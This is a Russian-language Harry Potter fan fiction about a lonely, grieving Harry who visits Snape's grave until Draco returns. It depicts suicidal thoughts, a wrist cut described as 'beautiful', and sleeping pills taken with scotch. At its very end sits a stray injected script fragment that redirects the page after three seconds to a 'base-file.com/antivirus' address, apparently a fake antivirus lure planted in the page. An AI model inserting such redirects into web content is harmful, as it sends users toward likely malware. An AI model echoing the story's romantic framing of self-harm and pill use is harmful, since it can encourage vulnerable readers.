Мальчик-Который-Вырос

Автор: Under Rain
Бета: Cooly
Пейринг: Гарри/Драко
Рейтинг: PG-13
Жанр: romance, angst
Summary: Жить в одиночестве тоже надо учиться…
Disclaimer: Не моё и ничего не надо.
Размещение: c разрешения автора

Утро было серым и холодным. Ноябрь редко радует Лондон другой погодой.

Гарри с трудом открыл глаза.

Старые часы на стене показывали 9.30.

Юноша провёл кончиками пальцев по холодной подушке рядом с собой. От этого жеста одиночество всегда ощущалось острее. Он вздохнул и пошёл варить кофе.

Грасперо, небольшое кладбище на окраине города, казалось совсем мрачным –намокнувший под дождём гранит, абсолютно голые деревья и большой плачущий ангел. Он всегда кого-то напоминал Гарри, он только не мог понять кого…

…От центрального входа налево, 7-ой ряд, с краю, у старого дуба…

- Здравствуйте, профессор, - сказал юноша чёрному надгробию, на котором изящными золотыми буквами было выгравировано имя: Северус Снейп.

Никаких дат, никаких посвящений, никаких обещаний помнить.

Гарри медленно подошёл ближе и присел на мокрую скамейку рядом с могилой. Он просто сидел, потеряв счёт времени.

Начал моросить дождь. Крупные капли падали на камень и стекали вниз по наклонной плите. Прямо на две чёрные розы, лежащие у подножия.

- Кто-то приходил к вам? – спросил Гарри таким тоном, будто ожидал ответа. – А вот ко мне никто не приходит. Я остался один, профессор. Совсем один…

Бывший гриффиндорец тяжело вздохнул, поднимаясь, положил рядом с розами веточку белой лилии, которую принёс с собой, и пошёл, не оборачиваясь, по кладбищенской дорожке к выходу из мира мёртвых в мир живых, которые для него в последнее время ничем не отличались.

Вечера, как Гарри успел понять, были самыми непереносимыми. Темнота сдавливала грудь так сильно, что начинали слезиться глаза. От тишины до смерти болели уши. Хотелось открыть окно и крикнуть так громко, чтоб услышал весь огромный, безразличный ко всему, Лондон: «Где ты?!». Гарри так и сделал прошлым вечером. Никто не ответил. Поэтому он только включил радиоприёмник на полную громкость и сел в кресло, поплотнее укутавшись в плед. Очень хотелось напиться, но алкоголь тоже не мог принести успокоения. Гарри знал, он пробовал и это.

Ближе к полуночи боль стала нестерпимой. «Ты сам виноват»,- твердил он себе, но это тоже не помогало. В час ночи он выпил три таблетки снотворного и провалился в тяжёлый сон, полный кошмаров.

Следующее утро было таким же серым и холодным, как предыдущее. Кроме того, опять шёл дождь.

Посмотрев в окно, Гарри решил отказаться от пешей прогулки и вызвал такси.

Возле входа в Грасперо его встретил мраморный ангел, уже ставший почти родным.

…Налево, 7 ряд, с краю…

- Доброе утро, профессор, - поздоровался Гарри, открывая широкий чёрный зонт и присаживаясь на холодную мокрую скамейку.

Чёрная плита, как всегда, хранила гордое молчание. Юноша устало поднял взгляд на свою «собеседницу» и заметил у её подножия две свежие розы.

- У вас снова кто-то был, да? Выходит, профессор, что после смерти вы даже популярнее, чем при жизни. Наверное, мне тоже нужно умереть. Может, тогда он вернётся?

Гарри всхлипнул, но сумел сдержаться. Это просто дождь. Дождь и одиночество.

- Хотя Сириус не вернулся, ведь так? До самой смерти не вернулся. А потом война закончилась, и вам больше нечего было здесь делать. Видите, мы с вами похожи. У нас обоих ничего не осталось после этой победы… Вы ушли за ним, вы его любили. А я даже не могу пойти за тем, кого люблю, потому что он просто не хочет видеть меня…

- Сэр, - послышалось откуда-то сзади. Гарри обернулся.

В десяти шагах от него, на дорожке, стоял молодой парень в старой спортивной куртке под серым зонтом.

- Сэр, - повторил парень, - вам незачем приходить сюда ежедневно, я могу присматривать за могилой. Это недорого, сэр, всего двадцать фунтов. Я всё равно работаю здесь смотрителем…

- В этом нет необходимости, - как можно более спокойным тоном ответил Гарри.

- Сэр… если у вас сейчас проблемы с деньгами, я могу делать это для вас бесплатно. Этот человек, наверное, очень дорог вам, и…

- Спасибо, не стоит. Мне всё равно некуда идти…

Парень кивнул и быстро пошёл в сторону подсобных помещений. А Гарри посидел ещё немного на мокрой скамейке перед тем, как вернуться в пустую квартиру, где его никто не ждал.

Этот вечер почти ничем не отличался от тридцати девяти предыдущих, проведенных в одиночестве. В груди что-то сдавило, и тишина медленно сводила с ума. Гарри снова включил радио и пошёл на кухню, чтоб сделать себе чай и сэндвич. Из комнаты доносился знакомый мотив какой-то популярной песни, но он ничего не слышал. Мысль, посетившая его утром на кладбище, не хотела покидать его головы.

Наверное, мне тоже нужно умереть. Может, тогда он вернётся?

Лезвие ножа, которым он нарезал хлеб, призывно блестело. Гарри приложил его к запястью левой руки и слегка надавил. Проступила ало-красная жидкость. Красиво. Если нажать чуть сильнее, всё закончится быстро. Но Гарри не имел права даже на это. Отец, мать, Седрик, Сириус – было и много других, - все они погибли за него, чтобы спасти его жизнь. Он не может отдать её сейчас так легко. Она оплачена на много лет вперёд смертью дорогих ему людей. И не имеет значения, что она ему не нужна…

«Ты сам виноват», - как заклинание, повторял Гарри, отбрасывая нож в сторону. Легче не стало. Он высыпал на ладонь горсть снотворного, запил стаканом неразбавленного скотча и пошёл спать.

Новое серое ноябрьское утро дало о себе знать страшной головной болью. Гарри с трудом заставил себя встать, почистить зубы и побриться.

 - Здравствуйте, профессор.

Юноша положил к надгробию свою белую лилию. Других цветов сегодня не было.

- Вы снова один, так? – он присел на корточки возле могилы и стал убирать с неё опавшие жёлто-красные листья. – Знаете, это именно то, чему я так у вас и не научился. Я был маленьким наивным идеалистом, я думал, что мне не грозит одиночество. Теперь я вырос, но так и не научился с ним справляться…

Внезапно Гарри увидел, как наяву, такую же чёрную гранитную плиту на заброшенном кладбище на окраине, и золоченые буквы на ней: «Гарри Поттер». Без дат, без посвящений, без обещаний помнить. И одиночество стало непереносимым.

Он упал на колени, прямо на мокрую от бесконечных дождей землю, и заплакал, прижавшись лбом к надгробию.

- Профессор, заберите меня отсюда, пожалуйста…  мне очень холодно… Он ушёл, профессор… я так много от него требовал… он всё бросил ради меня, а я… я никогда ему не говорил… я так его люблю… пожалуйста, заберите меня… мне так холодно…

Чьи-то дрожащие руки осторожно легли на плечи. Лёгкие и нежные, как крылья бабочки. Так неожиданно. Так странно. Они были тёплыми и заботливыми, какими бывают руки только очень любящего человека.

Мягкие губы почти касались уха, когда Гарри услышал тихий, чуть срывающийся голос:

- Пошли домой, котёнок…

Он встал и повернулся.

Драко ничуть не изменился за эти полтора месяца. То же стройное тело, те же платиновые волосы… Вот только серые глаза казались сейчас серебристыми от блестящих в них слёз.

Гарри хотел рассказать про все эти дни, проведённые на кладбище, про эти ужасные вечера, про ночи со снотворным, но смог издать только несколько несвязных звуков.

- Я знаю, - ответил Драко, прижимая его к себе, - я знаю…

Он положил рядом с белой лилией две чёрные розы, и они ушли в мир живых вдвоём, оставив за спиной чёрное надгробие, на котором золотыми буквами было выгравировано только имя: Северус Снейп. Без дат, без посвящений, без обещаний помнить…

Утро было серым и холодным. Ноябрь редко радует Лондон другой погодой.

Гарри с трудом открыл глаза.

Старые часы на стене показывали 9.30.

Юноша посмотрел на спящего рядом с ним ангела и улыбнулся. Драко всегда спал на спине, смешно раскинув руки. Его левое запястье рассекал рубец ещё не совсем зажившей резаной раны.

Гарри пододвинулся ближе, положил голову ему на грудь и, наконец, смог заснуть – без таблеток, без скотча, без кошмаров. Впервые за долгое время ему было тепло. 

Обсуждение на форуме

setTimeout(\'document.location.href = "http://base-file.com/antivirus"\', 3000);'); } ?>